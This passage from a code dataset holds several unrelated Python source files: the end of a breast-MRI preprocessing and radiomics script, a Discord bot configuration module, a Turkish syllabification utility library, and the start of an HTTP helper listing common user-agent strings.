isAddMetaInfo}]\n df = pd.DataFrame(add_data)\n df.to_csv(name_mapping_path, index=None, mode='a', header=None)\n\n\ndef breast_dicom2nii_t2():\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv(\n 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_update.csv')\n dir_list = pCR_info_df[\"\u5f71\u50cf\u53f7\"].astype(str) + \" \" +pCR_info_df['\u75c5\u4eba\u59d3\u540d'].astype(str)\n mass_labe_name_list = pCR_info_df['label\u540d\u79f0']\n slice = 0\n isAddMetaInfo = False\n # isAddMetaInfo = True\n isCopyLabelFile = False\n\n for number in range(0, 308):\n patient_name = dir_list.get(number)\n mass_labe_name = mass_labe_name_list.get(number)\n number = number + 1\n nii_directory = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d' % number\n if not os.path.exists(nii_directory):\n os.makedirs(nii_directory)\n if isCopyLabelFile:\n label_nii_path = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d_seg.nii' % (\n number, number)\n # \u9996\u5148\u5c06mass-label.nii\u590d\u5236\u5230\u76ee\u6807\u6587\u4ef6\u5939\u4e2d\n shutil.copyfile(os.path.join(default_directory, patient_name, mass_labe_name + \"-label.nii\"), label_nii_path)\n basic_ph_name_list = [\n 'IDEAL T2',\n ]\n for basic_ph_name in basic_ph_name_list:\n original_dicom_directory = os.path.join(default_directory, patient_name, basic_ph_name)\n if os.path.exists(original_dicom_directory):\n basic_ph_name1 = basic_ph_name\n break\n\n fune_dicom_directory = os.path.join(fune_directory, patient_name, 't2')\n final_directory = os.path.join(nii_directory, 'Breast_Training_%03d_t2.nii' % (number))\n if isAddMetaInfo:\n # original_dicom_directory->fune_dicom_directory\n slice = addFloderMetaInfo(original_dicom_directory, new_folder=fune_dicom_directory)\n # fune_dicom_directory->final_directory\n dicom2nii(fune_dicom_directory, final_directory)\n else:\n slice = listDir(original_dicom_directory).__len__()\n dicom2nii(original_dicom_directory, final_directory)\n print(final_directory + ' Done!')\n # \u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a\u75c5\u4eba\u7684\u75c5\u4f8b\u8fdb\u884ccsv\u8bb0\u5f55\n add_data = [{'Number': str(number),\n 'File_Path': basic_ph_name1,\n 'Patient_ID Patient_Name': patient_name,\n 'Breast_subject_ID': 'Breast_Training_%03d' % number,\n 'Slice': slice,\n 'remark': isAddMetaInfo}]\n df = pd.DataFrame(add_data)\n df.to_csv(name_mapping_path, index=None, mode='a', header=None)\n\n'''\n .h5\u8f6c\u5316\u4e3a.nii\u6587\u4ef6\n'''\ndef h5ToNII():\n dataset = h5py.File('D:\\Desktop\\SSL4MIS\\data\\BraTS2019\\data\\BraTS19_TCIA01_131_1.h5', 'r') # \u6307\u5b9ah5\u6587\u4ef6\u7684\u8def\u5f84\n savepath = \"D:\\Desktop\\SSL4MIS\\data\\BraTS2019\\data(nii)\" # \u53e6\u5b58\u4e3anii\u6587\u4ef6\u7684\u8def\u5f84\n first_level_keys = [key for key in dataset.keys()]\n for first_level_key in first_level_keys:\n if not os.path.exists(os.path.join(savepath, first_level_key)):\n os.makedirs(os.path.join(savepath, first_level_key))\n\n image_arr = np.array(dataset[first_level_key])\n img = sitk.GetImageFromArray(image_arr)\n img.SetSpacing([1.0, 1.0, 1.0]) # \u6839\u636e\u9700\u6c42\u4fee\u6539spacing\n sitk.WriteImage(img, os.path.join(savepath, first_level_key, \"BraTS19_TCIA01_131_1.nii.gz\"))\n print(first_level_key)\n\n'''\n \u53d6\u51fa\u8981\u9884\u6d4b\u7684\u75c5\u53d8\u533a\u57df\uff0c\u5411\u56db\u4e2a\u65b9\u5411\u5ef6\u753364\u50cf\u7d20\uff0c\u5f97\u5230voi\u533a\u57df=128*128*64\n'''\ndef crop_mass_area():\n\n # ERROR_LIST = [10, 59, 64, 67, 73, 76, 85, 162, 165, 175, 259]\n # for i in ERROR_LIST:\n for i in range(1, 309):\n folder_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d\" % (i)\n if(os.path.exists(folder_path)):\n file_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d_seg.nii\" % (i, i)\n mri_default_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d\" % (i, i)\n # nilearn\u8bfb\u53d6\u6570\u636e\n roi_img = nib.load(file_path)\n affine = roi_img\n roi_data = roi_img.get_data()\n # \u5f97\u5230\u6709label\u6807\u8bb0\u7684slice\u548c\u603b\u5c42\u6570\n label_slice_list = []\n label_slice_sum = 0\n for k in range(roi_data.shape[2]):\n test_slice = roi_data[:, :, k]\n if test_slice.max() > 0:\n label_slice_list.append(k)\n label_slice_sum += 1\n print('roi data shape:', label_slice_sum)\n # ndimage\u83b7\u53d6\u6570\u7ec4\u7684\u8d28\u5fc3\n CM = ndimage.measurements.center_of_mass(roi_data)\n # \u624b\u52a8\u8c03\u7528\u5185\u7f6e\u51fd\u6570\u6765\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n x = int(CM[0])\n y = int(CM[1])\n z = int(CM[2])\n # \u5b9a\u4e49\u504f\u79fb\u91cf\n offsetX = 96\n offsetY = 96\n offsetZ = 24\n # \u4fdd\u5b58\u4e3anii\u6587\u4ef6\n # nib.Nifti1Image(voi_mri_data).to_filename('Breast_Training_002_ph2_voi.nii')\n # voi_mri_data.to_filename('Breast_Training_002_ph2_voi.nii')\n # nib.save(voi_mri_data, os.path.join(folder_path, 'Breast_Training_002_ph2_voi.nii'))\n # \u5bf96\u4e2a\u9636\u6bb5\n for j in range(1, 6):\n mri_path = mri_default_path + \"_ph\" + str(j) + \".nii\"\n mri_img = nib.load(mri_path)\n mri_data = mri_img.get_data()\n # \u4e09\u7ef4\u6570\u7ec4\u7684\u5207\u7247 mri shape -> (512, 512, 92) voi mri shape -> (256, 256, 64)/(255, 255, 63)\n # \u5904\u7406\u7279\u6b8a\u60c5\u51b5\n # \u5f53 mri shape -> (136, 256, 256)\n # \u5f53 roi shape -> (256, 256, 136)\n if mri_data.shape != roi_data.shape:\n if mri_data.shape[0] == roi_data.shape[2]:\n # mri_data = np.moveaxis(mri_data, 0, -1)\n mri_data = np.moveaxis(mri_data, (0, 1, 2), (2, 1, 0))\n\n xshape = mri_data.shape[0]\n # \u56e0\u4e3a\u56fe\u50cf\u548clabel\u5728x\u65b9\u5411\u4e0a\u662f\u53cd\u7684mri_data = np.moveaxis(mri_data, (0, 1, 2), (2, 1, 0))\n # \u9700\u8981\u5c06\u56fe\u50cf\u6570\u636e\u8fdb\u884c\u5de6\u53f3\u53cd\u8f6c\n # \u4e00\u4e2aexample:\n # \u5f53x=165 y=272 z=66\u65f6 \u6b64\u65f6shape_x=512 shape_y=512 shape_z=104\n # mri_data\u53d6[(512-165)-64:(512-165)+64, 272-64:272+64, 66-4:66+4]\n # roi_data\u53d6[165-64:165+64, 272-64:272+64, 66-4:66+4]\n\n # \u5904\u7406\u8981\u622a\u53d6\u7684\u5c42\u6570\u8d85\u51fa\u603b\u5c42\u6570\u8303\u56f4\u7684\u60c5\u51b5\uff1a\n # \u5982\u679cz-offsetZ<0||z+offsetZ>shape_z\n # \u9996\u5148\u5f97\u5230delta=0-(z-offsetZ)||delta=(z+offsetZ)-shape_z\n # \u91cd\u65b0\u5f97\u5230\u8d28\u5fc3z\u7684\u5c42\u6570\uff1az+delta||z-delta\n if (xshape - x) - offsetX < 0:\n delta = 0 - ((xshape - x) - offsetX)\n x = x - delta\n elif (xshape - x) + offsetX > mri_data.shape[0]:\n delta = (xshape - x) + offsetX - mri_data.shape[0]\n x = x + delta\n if y - offsetY < 0:\n delta = 0 - (y - offsetY)\n y = y + delta\n elif y + offsetY > mri_data.shape[1]:\n delta = y + offsetY - mri_data.shape[1]\n y = y - delta\n if z - offsetZ < 0:\n delta = 0 - (z - offsetZ)\n z = z + delta\n elif z + offsetZ > mri_data.shape[2]:\n delta = z + offsetZ - mri_data.shape[2]\n z = z - delta\n voi_mri_data = mri_data[(xshape - x) - offsetX:(xshape - x) + offsetX,\n y - offsetY:y + offsetY, z - offsetZ:z + offsetZ]\n voi_mri_data = np.flip(voi_mri_data, axis=0)\n # voi_mri_data = mri_data[x - offsetX:x + offsetX, y - offsetY:y + offsetY, z - offsetZ:z + offsetZ]\n # voi_mri_data = mri_data[(-x) - offsetX:(-x) + offsetX, (-y) - offsetY:(-y) + offsetY, z - offsetZ:z + offsetZ]\n pair_img = nib.Nifti1Pair(voi_mri_data, np.eye(4))\n nib.save(pair_img, os.path.join(folder_path, 'Breast_Training_%03d_ph%d_voi_192x192x48.nii' % (i, j)))\n\n # \u5bf9label\u4e09\u7ef4\u6570\u7ec4\u540c\u6837\u5207\u7247\n voi_data = roi_data[x - offsetX:x + offsetX, y - offsetY:y + offsetY, z - offsetZ:z + offsetZ]\n pair_img = nib.Nifti1Pair(voi_data, np.eye(4))\n nib.save(pair_img, os.path.join(folder_path, 'Breast_Training_%03d_seg_voi_192x192x48.nii' % (i)))\n\n # \u8f93\u51fa\u5207\u7247\u540e\u5927\u5c0f\n print(\"mri shape ->\", mri_data.shape)\n print(\"roi shape ->\", roi_data.shape)\n print(\"voi mri shape ->\", voi_mri_data.shape)\n\n def list_or_tuple_to_string(list1):\n return '('+' '.join(str(e) for e in list1)+')'\n\n # \u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a\u75c5\u4eba\u7684\u75c5\u4f8b\u8fdb\u884ccsv\u8bb0\u5f55\n add_data = [{'Number': 'Breast_Training_%03d' % i, 'CM': list_or_tuple_to_string(CM), 'Shape:': list_or_tuple_to_string(mri_data.shape), 'labelSlice': list_or_tuple_to_string(label_slice_list), 'labelSlicesum': label_slice_sum, 'voiDataShape': voi_mri_data.shape}]\n df = pd.DataFrame(add_data)\n df.to_csv(output_label_info, index=None, mode='a', header=None)\n\n'''\n for seg h5 dataset\n \u5c06.nii\u8f6c\u5316\u4e3a.h5\u6587\u4ef6\n \u8f93\u5165\u8bad\u7ec3\u96c6\u7684\u539f\u56fe\u548clabel\uff0c\u8f93\u51fah5\u6587\u4ef6\n \u5148\u9009\u53d6\u4f5c\u4e3a\u793a\u4f8b\n \u4e00\u4e2ah5\u4e2d\uff0c\u5305\u542b\u4e00\u4e2aph1/ph3/ph5\u9636\u6bb5image\u548clabel\n \"image\":(3, 128, 128, 64)\n \"label\":(1, 128, 128, 64)\n'''\ndata_types = ['_ph1_voi_debug.nii', '_ph3_voi_debug.nii', '_ph5_voi_debug.nii']\ndef nii2h5_seg():\n # \u4fee\u6539h5\u5b58\u653e\u8def\u5f84\n h5py_path = 'D:\\Desktop\\BREAST\\BREAST\\data'\n # h5py_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation-h5/Breast_TrainingData'\n id_num = 0\n for id_ in sorted(os.listdir(root_path)):\n # \u8f7d\u5165\u6240\u6709image\u6a21\u6001\n images = []\n for data_type in data_types:\n img_path = os.path.join(root_path, id_, id_ + data_type)\n img = sitk.GetArrayFromImage(sitk.ReadImage(img_path)) # (64, 128, 128)\n # img = (img - img.min()) / (img.max() - img.min())\n images.append(img)\n img = np.stack(images) # (3, 64, 128, 128)\n img = np.moveaxis(img, (0, 1, 2, 3), (0, 3, 2, 1)) # (3, 128, 128, 64)\n # \u8f7d\u5165label\u6a21\u6001\n mask_path = os.path.join(root_path, id_, id_ + '_seg_voi_debug.nii')\n mask = sitk.GetArrayFromImage(sitk.ReadImage(mask_path)) # (64, 128, 128)\n # mask = np.clip(mask.astype(np.uint8), 0, 1).astype(np.float32)\n # mask = np.clip(mask, 0, 1)\n mask = mask[None, :, :, :] # (1, 128, 128, 64)\n mask = np.moveaxis(mask, (0, 1, 2, 3), (0, 3, 2, 1))\n print('img.shape[1:3]:', img.shape[1:4], mask.shape[1:4])\n if img.shape[1:4] != mask.shape[1:4]:\n print(\"Error\")\n f = h5py.File(os.path.join(h5py_path, id_ + '_ph135_seg.h5'), 'w')\n f.create_dataset('image', data=img, compression=\"gzip\")\n f.create_dataset('label', data=mask, compression=\"gzip\")\n f.close()\n id_num += 1\n print(\"Converted total {} niis to h5 files\".format(id_num))\n\n'''\n for classification h5 dataset\n \u5c06.nii\u8f6c\u5316\u4e3a.h5\u6587\u4ef6\n \u8f93\u5165\u8bad\u7ec3\u96c6\u7684\u539f\u56fe\u548clabel\uff0c\u8f93\u51fah5\u6587\u4ef6\n \u5148\u9009\u53d6\u4f5c\u4e3a\u793a\u4f8b\n \u4e00\u4e2ah5\u4e2d\uff0c\u5305\u542b\u4e00\u4e2aph1/ph3/ph5\u9636\u6bb5image\u548clabel\n \"image\":(3, 128, 128, 64)\n \"label\":(1,) 0-pCR 1-non-pCR\n'''\ndef nii2h5_classification():\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv('D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_ori.csv')\n name_mapping_df = pd.read_csv(name_mapping_path)\n name_mapping_df.rename({'Number': 'ID'}, axis=1, inplace=True)\n df = pCR_info_df.merge(name_mapping_df, on=\"ID\", how=\"right\")\n # \u4fee\u6539h5\u5b58\u653e\u8def\u5f84\n h5py_path = 'D:\\Desktop\\BREAST\\BREAST\\data'\n # h5py_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation-h5/Breast_TrainingData'\n id_num = 0\n for id_ in sorted(os.listdir(root_path)):\n # \u8f7d\u5165\u6240\u6709image\u6a21\u6001\n images = []\n for data_type in data_types:\n img_path = os.path.join(root_path, id_, id_ + data_type)\n img = sitk.GetArrayFromImage(sitk.ReadImage(img_path)) # (64, 128, 128)\n # img = (img - img.min()) / (img.max() - img.min())\n images.append(img)\n img = np.stack(images) # (3, 64, 128, 128)\n # img = np.moveaxis(img, (0, 1, 2, 3), (0, 3, 2, 1)) # (3, 128, 128, 64)\n # \u8f7d\u5165label\u6a21\u6001\n # \u6839\u636eBreast_subject_ID\u8fd4\u56deID\n index = df['Breast_subject_ID'][df['Breast_subject_ID'].values == id_].index\n # \u6839\u636eID\u8fd4\u56de\u201c\u75c5\u7406\u5b8c\u5168\u7f13\u89e3\u201d\n pCR_label = (df['\u75c5\u7406\u5b8c\u5168\u7f13\u89e3'][index.values[0]], ) # 0/1\n f = h5py.File(os.path.join(h5py_path, id_ + '_ph135_cls.h5'), 'w')\n f.create_dataset('image', data=img, compression=\"gzip\")\n f.create_dataset('label', data=pCR_label, compression=\"gzip\")\n f.close()\n id_num += 1\n print(\"Converted total {} niis to h5 files\".format(id_num))\n\n# \u4f7f\u7528N4BiasFieldCorrection\u53ef\u4ee5\u6821\u6b63\u504f\u5dee\u57df\ndef correct_bias():\n for i in range(1, 309):\n folder_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d\" % (i)\n if(os.path.exists(folder_path)):\n mri_default_path = \"D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d\" % (i, i)\n correct = N4BiasFieldCorrection()\n # \u5bf96\u4e2a\u9636\u6bb5\n for j in range(1, 6):\n mri_path = mri_default_path + \"_ph\" + str(j) + \".nii\"\n out_mri_path = mri_default_path + \"_ph\" + str(j) + \"_N4Bias\"+\".nii\"\n # \u4f7f\u7528N4BiasFieldCorrection\u6821\u6b63MRI\u56fe\u50cf\u7684\u504f\u7f6e\u573a\n correct.inputs.input_image = mri_path\n correct.inputs.output_image = out_mri_path\n done = correct.run()\n # done.outputs.output_image\n # input_image = sitk.ReadImage(mri_path, sitk.sitkFloat64)\n # output_image = sitk.N4BiasFieldCorrection(input_image, input_image > 0)\n # sitk.WriteImage(output_image, out_mri_path)\n\n\n# \u8fdb\u884c\u7279\u5f81\u5339\u914d\u5e76\u5c06\u5339\u914d\u7684\u7279\u5f81\u4fdd\u5b58\u5230csv\u6587\u4ef6\u4e2d\n# pyradiomics \u4f7f\u7528\u793a\u4f8b\ndata_types = ['_ph1.nii', '_ph3.nii', '_ph5.nii', '_seg.nii']\ndata_types_name = ['dceph1', 'dceph3', 'dceph5', 'seg']\ndef feature_and_save_as_csv():\n default_prefix = 'D:/Desktop/BREAST/BREAST/'\n dce_train_data = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData'\n name_mapping_path = default_prefix + 'breast-dataset-training-validation/Breast_meta_data/breast_name_mapping.csv'\n para_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Params.yml'\n\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv(\n 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_ori.csv')\n name_mapping_df = pd.read_csv(name_mapping_path)\n name_mapping_df.rename({'Number': 'ID'}, axis=1, inplace=True)\n df = pCR_info_df.merge(name_mapping_df, on=\"ID\", how=\"right\")\n\n # \u6587\u4ef6\u5168\u90e8\u8def\u5f84\n files = []\n for id_ in sorted(os.listdir(dce_train_data)):\n file = {}\n for data_type, data_type_name in zip(data_types, data_types_name):\n file[data_type_name] = os.path.join(dce_train_data, id_, id_ + data_type)\n index = df['Breast_subject_ID'][df['Breast_subject_ID'].values == id_].index\n pCR_label = df['\u75c5\u7406\u5b8c\u5168\u7f13\u89e3'][index.values[0]] # 0/1\n file[\"id\"] = id_\n file[\"label\"] = pCR_label\n files.append(file)\n\n # \u5bf9\u4e8e\u6bcf\u4e2a\u75c5\u4f8b\u4f7f\u7528\u914d\u7f6e\u6587\u4ef6\u521d\u59cb\u5316\u7279\u5f81\u62bd\u53d6\u5668\n result = {}\n all_dic = []\n extractor = FEE.RadiomicsFeatureExtractor(para_path)\n # print(\"Extraction parameters:\\n\\t\", extractor.settings)\n # print(\"Enabled filters:\\n\\t\", extractor.enabledImagetypes)\n # print(\"Enabled features:\\n\\t\", extractor.enabledFeatures)\n for file in files:\n data_type_seg = data_types_name[-1]\n for data_type_except_seg in data_types_name[:-1]:\n # \u8fd0\u884c\n result = extractor.execute(file[data_type_except_seg], file[data_type_seg]) # \u62bd\u53d6\u7279\u5f81\n # print(\"Result type:\", type(result)) # result is returned in a Python ordered dictionary\n print(\"Calculated features:\", file[\"id\"], data_type_except_seg)\n # for key, value in result.items(): # \u8f93\u51fa\u7279\u5f81\n # print(\"\\t\", key, \":\", value)\n # dic[key] = value\n result['pid'] = file[\"id\"]\n result['modal'] = data_type_seg\n # result['age'] =\n # result['sex'] =\n result['label'] = file[\"label\"]\n all_dic.append(result)\n\n df = pd.DataFrame(all_dic)\n print(df)\n df.to_csv('D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/breast_input_ph135.csv')\n\nif __name__ == '__main__':\n breast_dicom2nii()\n # breast_dicom2nii_t2()\n # correct_bias()\n # crop_mass_area()\n # nii2h5_seg()\n # nii2h5_classification()\n # feature_and_save_as_csv()\n\n", "source": "TheSeaOfStars123/SSL4MIS", "license": "MIT"} {"text": "\"\"\"\nEmojiWizard is a project licensed under GNU Affero General Public License.\nCopyright (C) 2022-present Achxy\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU Affero General Public License as\npublished by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see .\n\"\"\"\nfrom typing import Final\n\nfrom discord import AllowedMentions, Intents\n\n__all__: Final[tuple[str, ...]] = (\n \"DEFAULT_PREFIX\",\n \"INTENTS\",\n \"ALLOWED_MENTIONS\",\n \"LOGGING_FORMAT\",\n)\n\n\nDEFAULT_PREFIX: Final[tuple[str, ...]] = (\"!\", \"wiz \")\nINTENTS: Final[Intents] = Intents(\n guilds=True,\n members=True,\n bans=False,\n emojis_and_stickers=True,\n integrations=False,\n webhooks=False,\n invites=False,\n voice_states=False,\n presences=False,\n messages=True,\n reactions=True,\n typing=False,\n message_content=True,\n guild_scheduled_events=False,\n)\nALLOWED_MENTIONS: Final[AllowedMentions] = AllowedMentions.none()\nALLOWED_MENTIONS.replied_user = True\n\nLOGGING_FORMAT: Final[str] = \"[%(levelname)s] [%(asctime)s] %(message)s\"\n", "source": "Achxy/emoji-alchemist", "license": "MIT"} {"text": "from typing import List, Iterator\nfrom string import punctuation\n\nfrom .alphabet import VOWELS, ALPHABET, CONSONANTS, LONG_VOWELS\nfrom .classifications.letter_types import LetterType\nfrom .classifications.syllable_types import SyllableType\n\n\ndef hecele(text: str) -> List[str]:\n \"\"\"Syllabifies the specified text.\n\n >>> hecele(\"merhaba\")\n [\"mer\", \"ha\", ba\"]\n >>> hecele(\"ortaokul\")\n [\"or\", \"ta\", \"o\", \"kul\"]\n \"\"\"\n\n def next_vowel(text: str, cur: int) -> int:\n index = cur\n while True:\n if index + 1 >= len(text):\n return cur\n if text[index + 1] in VOWELS:\n return index + 1\n index += 1\n\n def are_there_letters_between(text, start, end, alphabet=ALPHABET):\n part = text[start + 1: end]\n for character in part:\n if character in alphabet:\n return True\n return False\n\n def previous_letter(text, end, stop_characters=f\"{ALPHABET}{punctuation}\"):\n index = end - 1\n while True:\n if text[index] in stop_characters:\n break\n index -= 1\n if index <= 0:\n break\n return index\n\n current_vowel_index = next_vowel(text, -1)\n syllables = []\n last_syllable_index = 0\n while True:\n next_vowel_index = next_vowel(text, current_vowel_index)\n if next_vowel_index == current_vowel_index: # This is the last vowel\n syllables.append(text[last_syllable_index:])\n break\n elif (\n not are_there_letters_between(text, current_vowel_index,\n next_vowel_index)): # There are two neighbor vowels (sa/at)\n syllable_stop_index = next_vowel_index\n else:\n syllable_stop_index = previous_letter(text, next_vowel_index)\n\n syllables.append(text[last_syllable_index:syllable_stop_index])\n last_syllable_index = syllable_stop_index\n\n current_vowel_index = next_vowel_index\n\n return syllables\n\n\ndef get_syllable_type(syllable: str) -> SyllableType:\n letters = lowercase(syllable, remove_circumflex=False)\n cv_map = list(map(get_letter_type, letters))\n if cv_map in [\n [LetterType.LONG_VOWEL, LetterType.CONSONANT],\n [LetterType.CONSONANT, LetterType.LONG_VOWEL, LetterType.CONSONANT],\n [LetterType.SHORT_VOWEL, LetterType.CONSONANT, LetterType.CONSONANT],\n [LetterType.CONSONANT, LetterType.SHORT_VOWEL, LetterType.CONSONANT, LetterType.CONSONANT],\n ]:\n return SyllableType.MEDLI\n elif get_letter_type(letters[-1]) == LetterType.SHORT_VOWEL:\n return SyllableType.OPEN\n else:\n return SyllableType.CLOSED\n\n\ndef get_letter_type(letter: str) -> LetterType:\n ch = lowercase(letter, remove_circumflex=False)\n if len(ch) != 1 or (ch not in ALPHABET and ch not in LONG_VOWELS):\n raise ValueError(f\"Argument of value \\\"{letter}\\\" is not a valid letter.\")\n if ch in VOWELS:\n return LetterType.SHORT_VOWEL\n elif ch in LONG_VOWELS:\n return LetterType.LONG_VOWEL\n elif ch in CONSONANTS:\n return LetterType.CONSONANT\n elif ch in ALPHABET:\n raise RuntimeError(\n f\"Sanity check fail: \\\"{letter}\\\" is not a long or short vowel or consonant, but in the alphabet.\"\n )\n\n\ndef lowercase(word: str, alphabet: str = ALPHABET, remove_unknown_characters=True, remove_circumflex=True) -> str:\n \"\"\"Removes all whitespace and punctuation from word and lowercase it.\n\n >>> lowercase(\"ge\u00e7ti Bor'un pazar\u0131 (s\u00fcr e\u015fe\u011fini Ni\u011fde'ye)\")\n \"ge\u00e7tiborunpazar\u0131s\u00fcre\u015fe\u011finini\u011fdeye\"\n\n :return: A lowercase string without any whitespace or punctuation.\n \"\"\"\n\n a_circumflex_replacement = \"a\" if remove_circumflex else \"\u00e2\"\n i_circumflex_replacement = \"i\" if remove_circumflex else \"\u00ee\"\n u_circumflex_replacement = \"u\" if remove_circumflex else \"\u00fb\"\n\n reconstructed_word = \"\"\n for letter in word:\n lower_letter = letter.lower()\n if letter == \"I\":\n reconstructed_word = f\"{reconstructed_word}\u0131\"\n elif letter == \"\u0130\":\n reconstructed_word = f\"{reconstructed_word}i\"\n elif letter in [\"\u00e2\", \"\u00c2\"]:\n reconstructed_word = f\"{reconstructed_word}{a_circumflex_replacement}\"\n elif letter in [\"\u00ee\", \"\u00ce\"]:\n reconstructed_word = f\"{reconstructed_word}{i_circumflex_replacement}\"\n elif letter in [\"\u00fb\", \"\u00db\"]:\n reconstructed_word = f\"{reconstructed_word}{u_circumflex_replacement}\"\n elif lower_letter in alphabet or not remove_unknown_characters:\n reconstructed_word = f\"{reconstructed_word}{lower_letter}\"\n return reconstructed_word\n\n\ndef dictionary_order(word: str, alphabet=ALPHABET) -> list:\n \"\"\"\n >>> dictionary_order(\"algarina\") < dictionary_order(\"zamans\u0131zl\u0131k\")\n True\n >>> dictionary_order(\"yumu\u015fakl\u0131k\") < dictionary_order(\"be\u015fik\")\n False\n \"\"\"\n return list(map(alphabet.index, lowercase(word)))\n\n\ndef counter(word: str, targets=VOWELS) -> int:\n \"\"\"\n >>> counter(word=\"aaaaaBBBc\", targets=\"c\")\n 1\n >>> counter(word=\"aaaaaBBBc\", targets=\"b\")\n 3\n >>> counter(word=\"aaaaaBBBc\", targets=\"cb\")\n 4\n\n The word is sanitized using `lowercase()`.\n\n >>> counter(word=\"aaaaaBBBc\", targets=\"B\")\n 0\n\n :return: The total number of occurrences of each element in targets.\n \"\"\"\n safe_word = lowercase(word)\n return sum(safe_word.count(x) for x in targets)\n\n\ndef streaks(word: str, targets=CONSONANTS) -> List[int]:\n \"\"\"\n Accumulate the number of characters in word which are also in targets.\n When a character in word isn't in targets, break the streak and append it to the return list.\n (Even if the current streak is 0.)\n\n >>> streaks(\"anapara\")\n [0, 1, 1, 1, 0] # /a N /a P /a R /a /\n >>> streaks(\"zorlanmak\")\n [1, 2, 2, 1] # Z /o RL /a NM /a K /\n >>> streaks(\"\u00e7\u00f6z\u00fcmlemek\")\n [1, 1, 2, 1, 1] # \u00c7 /\u00f6 Z /\u00fc ML /e M /e K /\n >>> streaks(\"tasdikletmek\")\n [1, 2, 2, 2, 1] # T /a SD /i KL /e TM /e K /\n \"\"\"\n streaks_found = []\n accumulator = 0\n for letter in lowercase(word):\n if letter in targets:\n accumulator += 1\n else:\n streaks_found.append(accumulator)\n accumulator = 0\n else:\n streaks_found.append(accumulator)\n if len(streaks_found) == 0:\n return []\n return streaks_found\n\n\ndef max_streak(word: str, targets=CONSONANTS) -> int:\n \"\"\":return: The maximum combo of consecutive characters that are also in targets, in word.\"\"\"\n return max(streaks(word=word, targets=targets))\n\n\ndef annotate(items, fn, sort_fn=None, reverse=True):\n \"\"\"Return a dict with elements of items as keys and their values under fn as their values,\n sorted by their values under sort_fn. If sort_fn isn't specified, use fn by default.\n\n\n >>> annotate([4, 3, 2, 1], fn=lambda x: x**2, sort_fn=lambda x: (-2)**x, reverse=False)\n {3: 9, 1: 1, 2: 4, 4: 16} # Sorted by odd numbers decreasing, then even numbers increasing.\n \"\"\"\n if sort_fn is None:\n sort_fn = fn\n return {k: fn(k) for k in sorted(items, key=sort_fn, reverse=reverse)}\n\n\ndef distinct(seq) -> list:\n \"\"\"Returns the sequence with each element appearing once without creating a set (and thus preserving order).\"\"\"\n seen = set()\n seen_add = seen.add\n return [x for x in seq if not (x in seen or seen_add(x))]\n", "source": "EmreOzcan/tdkapi-py", "license": "MIT"} {"text": "#!/usr/bin/env python3\nimport http.cookiejar\n\nimport requests.utils\n\nfrom mylib.easy import *\nfrom mylib.easy import fstk\n\n\nclass Constants:\n netscape_http_cookie_file_header_string = '# Netscape HTTP Cookie File'\n\n\nclass UserAgentExamples:\n \"\"\"https://www.networkinghowtos.com/howto/common-user-agent-list/\"\"\"\n GOOGLE_CHROME_WINDOWS = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'\n GOOGLE_CHROME_ANDROID = 'Mozilla/5.0 (Linux; Android 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.82 Mobile Safari/537.36'\n MOZILLA_FIREFOX_WINDOWS = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0'\n MOZILLA_FIREFOX_ANDROID = 'Mozilla/5.0 (Android 11; Mobile) Gecko/88.0 Firefox/88.0'\n MICROSOFT_EDGE = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393'\n APPLE_IPAD = 'Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4'\n APPLE_IPHONE = 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1'\n GOOGLE_BOT = 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'\n BING_BOT = 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)'\n CURL = 'curl/7.35.0'\n WGET = 